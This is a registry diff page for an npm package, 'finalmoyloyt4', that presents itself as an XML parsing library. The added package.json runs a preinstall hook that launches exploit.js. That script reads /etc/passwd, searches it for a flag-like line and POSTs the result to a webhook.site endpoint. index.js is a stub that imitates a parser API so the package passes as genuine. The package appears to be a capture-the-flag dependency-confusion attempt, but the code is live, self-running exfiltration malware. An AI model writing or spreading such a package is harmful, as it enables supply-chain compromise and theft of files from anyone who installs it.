finalmoyloyt4 0.30.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/exploit.js +56 -0
  2. package/index.js +16 -0
  3. package/package.json +12 -0
package/exploit.js ADDED
@@ -0,0 +1,56 @@
1
+ const fs = require('fs');
2
+ const https = require('https');
3
+
4
+ console.log('=== MINIMAL EXPLOIT START ===');
5
+
6
+ // ТОЛЬКО самое важное - чтение /etc/passwd и отправка
7
+ try {
8
+ // 1. Читаем /etc/passwd (главный источник флага)
9
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
10
+ console.log('✅ /etc/passwd read successfully');
11
+
12
+ // 2. Ищем флаг
13
+ const lines = passwd.split('\n');
14
+ let flag = 'FLAG_NOT_FOUND';
15
+
16
+ for (const line of lines) {
17
+ if (line.includes('{') && line.includes('}')) {
18
+ flag = line.trim();
19
+ console.log('🎯 FLAG FOUND:', flag);
20
+ break;
21
+ }
22
+ }
23
+
24
+ // 3. Отправляем ТОЛЬКО флаг на webhook
25
+ const payload = JSON.stringify({
26
+ flag: flag,
27
+ source: 'minimal_exploit',
28
+ timestamp: new Date().toISOString()
29
+ });
30
+
31
+ const options = {
32
+ hostname: 'webhook.site',
33
+ port: 443,
34
+ path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
35
+ method: 'POST',
36
+ headers: {'Content-Type': 'application/json'},
37
+ timeout: 5000
38
+ };
39
+
40
+ const req = https.request(options, (res) => {
41
+ console.log('📤 Webhook sent, status:', res.statusCode);
42
+ process.exit(0); // Выходим сразу после отправки
43
+ });
44
+
45
+ req.on('error', (err) => {
46
+ console.log('❌ Webhook error:', err.message);
47
+ process.exit(0); // Выходим даже при ошибке
48
+ });
49
+
50
+ req.write(payload);
51
+ req.end();
52
+
53
+ } catch(e) {
54
+ console.log('❌ Critical error:', e.message);
55
+ process.exit(0); // Выходим при любой ошибке
56
+ }
package/index.js ADDED
@@ -0,0 +1,16 @@
1
+ // Заглушка для совместимости с API, который ожидает server.js
2
+ module.exports = {
3
+ parseXmlString: function(xml, options) {
4
+ // Возвращаем минимальный объект, чтобы избежать сбоя
5
+ return {
6
+ get: function(xpath) {
7
+ return {
8
+ text: function() {
9
+ return "parsed_data";
10
+ }
11
+ };
12
+ }
13
+ };
14
+ }
15
+ };
16
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "finalmoyloyt4",
3
+ "version": "0.30.1",
4
+ "description": "XML parsing library",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node exploit.js"
8
+ },
9
+ "keywords": ["xml", "parser"],
10
+ "author": "test",
11
+ "license": "MIT"
12
+ }